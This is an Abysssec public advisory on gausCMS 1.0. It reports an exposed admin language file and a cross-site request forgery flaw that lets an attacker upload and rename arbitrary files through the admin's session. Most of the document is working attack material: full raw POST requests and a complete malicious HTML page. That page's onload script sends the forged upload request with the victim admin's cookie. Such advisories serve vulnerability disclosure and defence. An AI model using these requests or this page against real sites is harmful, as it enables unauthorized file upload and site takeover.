'''
  __  __  ____         _    _ ____
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-21-gauscms-multiple-vulnerabilities/

'''

Abysssec Inc Public Advisory


  Title            :  gausCMS Multiple Vulnerabilities
  Affected Version :  Gaus CMS version 1.0
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.gaustudio.com/gausCMS.html
  Download Links   :  http://sourceforge.net/projects/gauscms/


Description :
===========================================================================================
  This version of gausCMS have Multiple Valnerabilities :
        1- Access to Admin's Login and Information Disclosure
        2- CSRF Upload arbitrary file and rename file


Access to Admin's Section and Information Disclosure:
===========================================================================================
  With this path you can easily access to Admin's Login:

        http://Example.com/admin_includes/template/languages/english/english.txt


  Vulnerable Code:
        http://Example.com/default.asp
  Ln 37:
        Set oFile = FSO.GetFile(PATHADMIN & "admin_includes/template/languages/" & GUILanguage & "/" & GUILanguage & ".txt")




CSRF Upload arbitrary file and rename file
===========================================================================================
   With send a POST request to this path, you can upload arbitrary file of course by Admin's cookie
   and by CSRF technique.

        http://Example.com/default.asp?dir=&toDo=uploadFile



   For example you can feed this POST Request to Admin :

	POST http://Example.com/default.asp?dir=&toDo=uploadFile HTTP/1.1
	Host: Example.com
	User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-us,en;q=0.5
	Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
	Keep-Alive: 300
	Proxy-Connection: keep-alive
	Referer: http://Example.com/default.asp?dir=&toDo=uploadFile
	Cookie: Skin=default; ASPSESSIONIDQSASTTBS=EIPNNJIAKDDEAGDKACICOBHJ
	Content-Type: multipart/form-data; boundary=---------------------------287032381131322
	Content-Length: 306

    Message Body:

	-----------------------------287032381131322
	Content-Disposition: form-data; name="attach1"; filename="Test.txt"
	Content-Type: text/plain

	123
	-----------------------------287032381131322
	Content-Disposition: form-data; name="toDo"

	Upload File
	-----------------------------287032381131322--



   ----------------------------------------------------------------------------------

   With the same method we can rename files with following path:

        http://Example.com/default.asp?dir=&file=Test2.txt&toDo=Rename%20File

   For example you can feed this POST Request to Admin:

	POST http://Example.com/default.asp?dir=&file=Test.txt&toDo=Rename%20File HTTP/1.1
	Host: Example.com
	User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-us,en;q=0.5
	Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
	Keep-Alive: 300
	Proxy-Connection: keep-alive
	Referer: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=rename
	Cookie: Skin=default; ASPSESSIONIDQSASTTBS=IIPNNJIANIKOIKGOGOIKAJGE
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 39

    Message Body:

	newFileName=Test2.txt&toDo=Rename+File




The Source of HTML Page (Malicious Link) for Upload Arbitrary file
===========================================================================================
  With this page, we send a POST request with AJAX to upload a file with Admin's Cookie.


<html>
<head>
<title >Wellcome to gausCMS!</title>
Hello!
...
...
...
This page uploads a file

<script>

    var binary;
    var filename;

    function FileUpload() {
        try {
            netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
        } catch (e) {
        }

        var http = false;
        if (window.XMLHttpRequest) {
            http = new XMLHttpRequest();
        }
        else if (window.ActiveXObject) {
            http = new ActiveXObject("Microsoft.XMLHTTP");
        }

        var url = "http://Example.com/default.asp?dir=&toDo=uploadFile";
        var filename = 'Test.txt';
        var filetext = ' 123 ';

        var boundaryString = '---------------------------287032381131322';
        var boundary = '--' + boundaryString;
        var requestbody = boundary + '\n'
	    + 'Content-Disposition: form-data; name="attach1"; filename="'
	    + filename + '"' + '\n'
            + 'Content-Type: text/plain' + '\n'
	    + '\n'
	    + filetext
	    + '\n'
            + boundaryString
            + 'Content-Disposition: form-data; name="toDo"'
            +'Upload File'
            + '\n'
	    + boundary;

        http.onreadystatechange = done;
        http.open('POST', url, true);

        http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString);
        http.setRequestHeader("Connection", "close");
        http.setRequestHeader("Content-length", requestbody.length);
        http.send(requestbody);
        }
        function done() {
            if (http.readyState == 4 && http.status == 200) {
                //alert(http.responseText);
                //alert('Upload OK');
            }
        }
</script>
</head>
<body onload ="FileUpload();">
</body>
</html>


===========================================================================================